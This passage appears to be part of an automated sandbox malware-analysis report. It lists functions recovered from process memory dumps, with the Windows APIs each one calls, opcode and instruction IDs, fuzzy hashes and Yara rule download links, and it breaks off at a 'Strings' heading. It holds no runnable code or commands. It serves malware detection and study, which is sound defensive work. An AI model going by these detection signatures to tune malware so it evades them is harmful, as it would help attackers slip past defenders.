Instruction Fuzzy Hash: FF42F674A04228CFCB249B34D99879DB7B6BF89306F6081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00D4F, Relevance: 2.1, APIs: 1, Instructions: 561libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bd3e30acc834ca9be0e6f39c5cb0d8f047b0646f588bb42b0fa4ab5ab46c5efb
Instruction ID: 1dad552cfd5583115492faa58555e8eec85fd52fc6b7bfe1d72a8a0e4bf6439b
Opcode Fuzzy Hash: bd3e30acc834ca9be0e6f39c5cb0d8f047b0646f588bb42b0fa4ab5ab46c5efb
Instruction Fuzzy Hash: 7942F674A04228CFCB249B34D99879DB7B6BF89306F6081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00D8B, Relevance: 2.1, APIs: 1, Instructions: 556libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d8866731ec72bc199fa3c70d39b8a26e2a1e9a6e7f363f6d2a957b18bbb0e85a
Instruction ID: a73d5fb4d93034116054fcbb7f6f2fbc983e95e545491399bb57f25ff06223b2
Opcode Fuzzy Hash: d8866731ec72bc199fa3c70d39b8a26e2a1e9a6e7f363f6d2a957b18bbb0e85a
Instruction Fuzzy Hash: 2F420674A04228CFCB249B34D99879DB7B6BF89306F6081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00DD0, Relevance: 2.0, APIs: 1, Instructions: 549libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 89e42eed3dbb156a8e159083084fd8e0d9df4c4cfd5ab97021b50ff37355dea6
Instruction ID: b17f9ec224a9222aa5d5293922a6958e3e809ab4b646c93ac6cf99b9aab04b94
Opcode Fuzzy Hash: 89e42eed3dbb156a8e159083084fd8e0d9df4c4cfd5ab97021b50ff37355dea6
Instruction Fuzzy Hash: 4542F674A04228CFCB249B34D99879DB7B6BF89306F6081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00E15, Relevance: 2.0, APIs: 1, Instructions: 542libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 58ad5f65e73b75408be2c03e93d18d075c7f687c9d2eec387e286bc6409ea804
Instruction ID: 15c72b0dce6ab867c7b25d42485f61a1c85986bf9fa83e7804075107bbc62f09
Opcode Fuzzy Hash: 58ad5f65e73b75408be2c03e93d18d075c7f687c9d2eec387e286bc6409ea804
Instruction Fuzzy Hash: 31420674A04228CFCB249B34D99879DB7B6BF88306F6081EAD509A7350DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00E5A, Relevance: 2.0, APIs: 1, Instructions: 535libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e009b2bfedef3e7cea60df2adb9086d84acf3a7a2c90e5d5632752d8b5c80612
Instruction ID: 96335ca7cc32359f5725e633135ece08ad15670c6186a90af83dbcb011056af7
Opcode Fuzzy Hash: e009b2bfedef3e7cea60df2adb9086d84acf3a7a2c90e5d5632752d8b5c80612
Instruction Fuzzy Hash: 10320674A05228CFCB249B34D99879DB7B6BF88306F6081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00E9F, Relevance: 2.0, APIs: 1, Instructions: 528libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0325c77628c49b39b05ba80c55a0f9090ee3e71d2f453c0a50f6cc330d98f29a
Instruction ID: 4461198e897bce7ebbf20eda9dda418ddf95c11ffa24a7b97225826cba8df74a
Opcode Fuzzy Hash: 0325c77628c49b39b05ba80c55a0f9090ee3e71d2f453c0a50f6cc330d98f29a
Instruction Fuzzy Hash: E7320674A04228CFCB249B34D99879DB7B6BF88306F6081EAD509A7350DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00EE4, Relevance: 2.0, APIs: 1, Instructions: 521libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f3d24594f12ab48d3983d3a25df0789c8dcad9e05faf8314b519660ef13c4a40
Instruction ID: 21a807669ba2615d23ec3788b304c9aaee3f4d8b685259769603dfe3f5d2fd64
Opcode Fuzzy Hash: f3d24594f12ab48d3983d3a25df0789c8dcad9e05faf8314b519660ef13c4a40
Instruction Fuzzy Hash: 4F320674A05228CFCB249B34D99879DB7B6BF88306F6081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00F29, Relevance: 2.0, APIs: 1, Instructions: 512libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e89baed07fac1b949e4037b85874785db8a0171962f6e0944785d2b9d699690f
Instruction ID: b9b7d723ffd0535f75b4950855d6eeabd86cb37cd504455e90701a9c7fca7157
Opcode Fuzzy Hash: e89baed07fac1b949e4037b85874785db8a0171962f6e0944785d2b9d699690f
Instruction Fuzzy Hash: EC320774A04228CFCB249B34D99879DB7B6BF88306F6081EAD509A7350DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00F65, Relevance: 2.0, APIs: 1, Instructions: 507libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a6e738da9a2ff13357494fd89504354627f19999914446752318587e3696d346
Instruction ID: 34ff1c4ff70a1b7ca4e05e12936f06ce16cccad988be362285ba4ab6a969d301
Opcode Fuzzy Hash: a6e738da9a2ff13357494fd89504354627f19999914446752318587e3696d346
Instruction Fuzzy Hash: AB320774A04228CFCB249B34D99879DB7B6BF88306F6081EAD509A7350DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00FAA, Relevance: 2.0, APIs: 1, Instructions: 500libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bcf2c3ea900ba1b48e6f8229f29c3bea35aa42d770a07442c07934cf75f4e5b7
Instruction ID: f71ba49b39ffb068b1b7d9ff8d6128895e490e4f516b2efb275281b070ca1fdd
Opcode Fuzzy Hash: bcf2c3ea900ba1b48e6f8229f29c3bea35aa42d770a07442c07934cf75f4e5b7
Instruction Fuzzy Hash: E032F774A04228CFCB249B34D99879DB7B6BF88306F6081EAD509A7350DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00FEF, Relevance: 2.0, APIs: 1, Instructions: 493libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0ec6e38727879fe31d18b2fc8e13f37374467730fb56083d75c4110d1d638ef9
Instruction ID: 37e66d760c5348b792bc714a731ee8542bd8279f72105a4a781c6dd5d651e6b4
Opcode Fuzzy Hash: 0ec6e38727879fe31d18b2fc8e13f37374467730fb56083d75c4110d1d638ef9
Instruction Fuzzy Hash: A632F774A042288FCB24DB34D99879DB7B6BF88306F6081EAD509A7350DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E0104A, Relevance: 2.0, APIs: 1, Instructions: 482libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1bb62689d8443a05b04bf52e87d6819efde4e63e8e2582f05b3fe49af6a2f7f0
Instruction ID: 62e6e4d1d824cea744294f2fa8f6aed6d45ade329602ebbeab4b066b6cdf6109
Opcode Fuzzy Hash: 1bb62689d8443a05b04bf52e87d6819efde4e63e8e2582f05b3fe49af6a2f7f0
Instruction Fuzzy Hash: 9D22F874A04228CFCB249B34D99879DB7B6BF88306F6081EAD509A7350DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E0108F, Relevance: 2.0, APIs: 1, Instructions: 475libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4d0ec63a2ee4eb48636bf39c46e6aff20aea176aa7dc01296ff1507769cf81f6
Instruction ID: 4d8bd2bba9faa85a60cac69f1327dee3a99f44601ea7d59d14e975f764817815
Opcode Fuzzy Hash: 4d0ec63a2ee4eb48636bf39c46e6aff20aea176aa7dc01296ff1507769cf81f6
Instruction Fuzzy Hash: B022F874A04228CFCB249B34D99879DB7B6BF88306F6081EAD509A7350DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E010D4, Relevance: 2.0, APIs: 1, Instructions: 468libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f7082f317b526184dc948b7d741a164e29583422a5849131c3e2c25c666b14f6
Instruction ID: 5a6a29a5cc6e4d2427652f9d63e9a82e13fc7eb29b695db385378bb9a7f2abf5
Opcode Fuzzy Hash: f7082f317b526184dc948b7d741a164e29583422a5849131c3e2c25c666b14f6
Instruction Fuzzy Hash: AA22F774A04228CFCB249B34D99879DB7B6BF88306F6081E9D509A7350DF399E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E01119, Relevance: 2.0, APIs: 1, Instructions: 461libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f03a6fc845d5639dd801967fb769115a26bd4c8dc1661281e1512856fde0ead3
Instruction ID: da97aefe8be09b6fe0969559e9a86eb4f6375f73a91b68d0028d3ee919cd2c47
Opcode Fuzzy Hash: f03a6fc845d5639dd801967fb769115a26bd4c8dc1661281e1512856fde0ead3
Instruction Fuzzy Hash: 1622F774A042288FCB24DB34D99879DB7B6BF88306F6081E9D509A7350DF399E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E01161, Relevance: 2.0, APIs: 1, Instructions: 454libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f55f06d5618e242b404c8b6574bc66258ade65efc6a97e7849f275d650c6d6d0
Instruction ID: 9b4647b4fd5c0369bf448f1f82fa143bab877e1d57874d624bd5ae4591d7d6eb
Opcode Fuzzy Hash: f55f06d5618e242b404c8b6574bc66258ade65efc6a97e7849f275d650c6d6d0
Instruction Fuzzy Hash: 23220774A042288FCB24DB34D99879DB7B6BF88306F6081E9D509A7350DF399E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E011A9, Relevance: 1.9, APIs: 1, Instructions: 447libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e9943d8a7787baa751d06b113d7225c5ad53913891a921247cf1f0cc3ae40464
Instruction ID: 4986c4b68bd462582d92a6738ec5a4ddd571add2e62c59f78f08a02ba224d4a8
Opcode Fuzzy Hash: e9943d8a7787baa751d06b113d7225c5ad53913891a921247cf1f0cc3ae40464
Instruction Fuzzy Hash: 1E120774A042288FCB24DB34D99879DB7B6BF88306F6081E9D509A7350DF399E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E011F1, Relevance: 1.9, APIs: 1, Instructions: 438libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: dd3e89141790422e742de49add4de9201a157e2cd19e338be9a06c3240c841d7
Instruction ID: 91e50512bd08ba9c7c91103f0303a08e78660f06edc214725d75892145e7e58f
Opcode Fuzzy Hash: dd3e89141790422e742de49add4de9201a157e2cd19e338be9a06c3240c841d7
Instruction Fuzzy Hash: CE121974A042288FCB24DB34D99879DB7B6BF88306F6081E9D509A7350DF399E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E0122D, Relevance: 1.9, APIs: 1, Instructions: 431libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d07db20b5abd77ef2265be4df55ce8a92a6a469138bdafc2880db690ff0eb801
Instruction ID: c75c1938102f03532ffa27375fc5e8c3954497837d80b618f5f0c1f94cfef6e7
Opcode Fuzzy Hash: d07db20b5abd77ef2265be4df55ce8a92a6a469138bdafc2880db690ff0eb801
Instruction Fuzzy Hash: 7D121A74A042288FCB24EB34D99879DB7B6BF88306F6081E9D509A7350DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E01269, Relevance: 1.9, APIs: 1, Instructions: 426libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2ca4557e6c72353f2fc3da6916ce5fb5a23f2083e18b98acaf3b9950c8380c2e
Instruction ID: 94b9e75d6bc590342cb9e15cf8fa9387504d8d4ab8b6deea9a22338134d755ce
Opcode Fuzzy Hash: 2ca4557e6c72353f2fc3da6916ce5fb5a23f2083e18b98acaf3b9950c8380c2e
Instruction Fuzzy Hash: 54121974A042288FCB24DB34D89879DB7B6BF88306F6081E9D509A7350DF399E86CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00E012B1, Relevance: 1.9, APIs: 1, Instructions: 417libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 82d4a526c9c462bb221c5bbdab56c7082102fac303e87ad31a97ef93289c3045
Instruction ID: 40ed796b156e59dbd336f40faf4fc6b6bc05307ee146f66f3f3bc50eba1ee7d6
Opcode Fuzzy Hash: 82d4a526c9c462bb221c5bbdab56c7082102fac303e87ad31a97ef93289c3045
Instruction Fuzzy Hash: DB021A74A042288FCB24DB34D89879DB7B6BF88306F6081E9D509A7350DF359E86CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00E012ED, Relevance: 1.9, APIs: 1, Instructions: 412libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 62a9df505223bbeff9cb666005426b1c511fc9c914af4bf8cc5e1bd8db4e7fb0
Instruction ID: 5ac1862ed426d859954511e0e8c0a61617915df102ad1b3ea0cf55c750613218
Opcode Fuzzy Hash: 62a9df505223bbeff9cb666005426b1c511fc9c914af4bf8cc5e1bd8db4e7fb0
Instruction Fuzzy Hash: A3022B74A042288FCB24EB34D99879DB7B2BF88306F6081E9D509A7350DF359E86CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00E01335, Relevance: 1.9, APIs: 1, Instructions: 403libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a03bd3c58d22c293f4d795733082a65bf604e4eb012798a3ab4ad6a019dc3a73
Instruction ID: c3785565b9b26e6dd1b3ea379512902353026460849bdfaae9e615bfd885e99f
Opcode Fuzzy Hash: a03bd3c58d22c293f4d795733082a65bf604e4eb012798a3ab4ad6a019dc3a73
Instruction Fuzzy Hash: FC022B74A042288FCB24EB34D89879DB7B2BF88306F6081E9D509A7350DF359E86CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00E01371, Relevance: 1.9, APIs: 1, Instructions: 398libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 53cd03b640e835ec4ff876babfb57b9546dfca1f4b8cccf09f193697baf702d0
Instruction ID: c4e5232ab6d7769c6bc98555c295454ec40acb4c1fba4831c9f034c918f33275
Opcode Fuzzy Hash: 53cd03b640e835ec4ff876babfb57b9546dfca1f4b8cccf09f193697baf702d0
Instruction Fuzzy Hash: 95022B74A042288FCB24EB34D89879DB7B2BF88306F6081E9D509A7350DF359E86CF55

Uniqueness

Uniqueness Score: -1.00%

Function 007E25B8, Relevance: 1.7, APIs: 1, Instructions: 181libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 007E2667

Memory Dump Source

Source File: 00000006.00000002.499965468.00000000007E0000.00000040.00000001.sdmp, Offset: 007E0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9aa28d3b651226afb2e04c1233d1794ba7ca936aafbdf7ccd2365648e259a9b4
Instruction ID: 580cfee17738cda334d5a9d4b704750087754f5c21cfc7ff272e1334409e1c88
Opcode Fuzzy Hash: 9aa28d3b651226afb2e04c1233d1794ba7ca936aafbdf7ccd2365648e259a9b4
Instruction Fuzzy Hash: E451F430B043449FCB04EBB4D855AAEB7F6AF89304F1485A9E5029B792EF74EC06C751

Uniqueness

Uniqueness Score: -1.00%

Function 00BB5184, Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00BB52A2

Memory Dump Source

Source File: 00000006.00000002.500568394.0000000000BB0000.00000040.00000001.sdmp, Offset: 00BB0000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 79f09aec507ee690244615cc3b5ddf265cae9043bb8809be1af7bc9a24918efe
Instruction ID: 61027f68c22c69e0b5b1aecb9064f6a25bffca62902ae5ba0cacfcaae9b16a00
Opcode Fuzzy Hash: 79f09aec507ee690244615cc3b5ddf265cae9043bb8809be1af7bc9a24918efe
Instruction Fuzzy Hash: F551DEB1D003089FDB14CFA9C984ADEBBF1FF48314F24812AE819AB210D7B59985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00BB5190, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00BB52A2

Memory Dump Source

Source File: 00000006.00000002.500568394.0000000000BB0000.00000040.00000001.sdmp, Offset: 00BB0000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: ceba77d90420179dc8a1a702a7823b0f0a0a968e5fbed03cf651fab32c7cdaa3
Instruction ID: 2bbd8b34471849e22eaf72d9e99f3dd9e0a6c713d227ae85fb9c469a9ba88567
Opcode Fuzzy Hash: ceba77d90420179dc8a1a702a7823b0f0a0a968e5fbed03cf651fab32c7cdaa3
Instruction Fuzzy Hash: 5241C0B1D003099FDB14CF99C984ADEBBF5FF48314F24812AE819AB210D7B59985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00BB6964, Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 00BB7D01

Memory Dump Source

Source File: 00000006.00000002.500568394.0000000000BB0000.00000040.00000001.sdmp, Offset: 00BB0000, based on PE: false

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 3ed5caab0970d3f6ab41471e0b4e23e44e1756c87af747c32d059843aa37bef9
Instruction ID: dda617b3cd0fe08598962846f286d8521faf6817bebe10e00bbd421ae1f5d098
Opcode Fuzzy Hash: 3ed5caab0970d3f6ab41471e0b4e23e44e1756c87af747c32d059843aa37bef9
Instruction Fuzzy Hash: F9412CB5904309DFCB14CF59C488BAABBF5FF88314F248499E519AB321D7B4A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 007E5168, Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,?,00000001,?), ref: 007EFCDC

Memory Dump Source

Source File: 00000006.00000002.499965468.00000000007E0000.00000040.00000001.sdmp, Offset: 007E0000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 6dd103afa6f59b0b5655c43d8ad3aa1abc1234d8b21d4400e46b42c994ccd7e8
Instruction ID: 5d2404656e9964b1db6afc99fde0257c5d8baa4efac39342c418c4711c66bc9c
Opcode Fuzzy Hash: 6dd103afa6f59b0b5655c43d8ad3aa1abc1234d8b21d4400e46b42c994ccd7e8
Instruction Fuzzy Hash: 553116B1D0128D9FDB10CF99C584A8EFFF5BF48304F28816AE809AB351C7B59945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00BB6718, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00BB6D3E,?,?,?,?,?), ref: 00BB6DFF

Memory Dump Source

Source File: 00000006.00000002.500568394.0000000000BB0000.00000040.00000001.sdmp, Offset: 00BB0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: cfee70f1ff25fdc687d4344351bca6bc6b8baaf786e6e742a584e40863fb008d
Instruction ID: d4f681b52fda958fcf659df0c4c39260575f0a39dc318fdb36a2467a29939c2f
Opcode Fuzzy Hash: cfee70f1ff25fdc687d4344351bca6bc6b8baaf786e6e742a584e40863fb008d
Instruction Fuzzy Hash: CD21B5B590020C9FDB10CFA9D584AEEBBF4FB48324F14846AE915A7310D3B9A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00BB6D71, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00BB6D3E,?,?,?,?,?), ref: 00BB6DFF

Memory Dump Source

Source File: 00000006.00000002.500568394.0000000000BB0000.00000040.00000001.sdmp, Offset: 00BB0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 6dc76bae9ee5aa4765ebc50f00c854c899e45227461a041993fbb2eecfdd5677
Instruction ID: 68cc1f8c49403d90a4459f5782dc5e0ef77e3c9456687748de19818426918bd2
Opcode Fuzzy Hash: 6dc76bae9ee5aa4765ebc50f00c854c899e45227461a041993fbb2eecfdd5677
Instruction Fuzzy Hash: CD21E4B5D002499FDB10CFA9D884AEEBBF4FF48324F14846AE915A7350D378A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00BB41A8, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00BB4216

Memory Dump Source

Source File: 00000006.00000002.500568394.0000000000BB0000.00000040.00000001.sdmp, Offset: 00BB0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 4f393f851d564e7b3e95e33054d92f178a64721072737d6641b9775e7ab4c251
Instruction ID: db0f3b8b47d9d023f58581d1faf70097c74c45bb81ddf08feeab552b28da51d0
Opcode Fuzzy Hash: 4f393f851d564e7b3e95e33054d92f178a64721072737d6641b9775e7ab4c251
Instruction Fuzzy Hash: 342127B1C043888FDB11CFAAD4446DEBFF4EF4A314F05849AD458A7212C3B46545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00BBC3D8, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 00BBC452

Memory Dump Source

Source File: 00000006.00000002.500568394.0000000000BB0000.00000040.00000001.sdmp, Offset: 00BB0000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 3c527a34f2fafccce6e1b1d92bdea9a36c3a8e8b2995783cdbba22e7a1e8652e
Instruction ID: 4ba3def4f483621ef0181250062f86dd70fe311fa1810f9ececcfa156cc0efa5
Opcode Fuzzy Hash: 3c527a34f2fafccce6e1b1d92bdea9a36c3a8e8b2995783cdbba22e7a1e8652e
Instruction Fuzzy Hash: A11186719003488FCB10DFAAC9487EEBBF4EB49314F24846AD995A7740C7B96A44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00BB4180, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.500568394.0000000000BB0000.00000040.00000001.sdmp, Offset: 00BB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3cfd8a5573acb76b5510ef474e240311671c0e23977af9f4b26e043870ef0a4
Instruction ID: b40158c17d539a714e8a35a8e354daad3a767e0368f4e2e0542488a2ae3d3262
Opcode Fuzzy Hash: f3cfd8a5573acb76b5510ef474e240311671c0e23977af9f4b26e043870ef0a4
Instruction Fuzzy Hash: 831148B58093848FCB05CFA9C4546DABFF0FF8A314F1585AED058AB262C375954ACF61

Uniqueness

Uniqueness Score: -1.00%

Function 00BB2F44, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00BB4216

Memory Dump Source

Source File: 00000006.00000002.500568394.0000000000BB0000.00000040.00000001.sdmp, Offset: 00BB0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 0e662bd8039d0d0abd42e28376f309ca734ac649f995c2ac2bec2b5f4f298a64
Instruction ID: 8cfd37af19a433624494fde6f9f1e189c77a95b1e2224285f96ac971a66bb21e
Opcode Fuzzy Hash: 0e662bd8039d0d0abd42e28376f309ca734ac649f995c2ac2bec2b5f4f298a64
Instruction Fuzzy Hash: 4211F3B2C006498BCB10CF9AD444BEEFBF4FB49324F14846AE829B7601C3B4A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E82958, Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

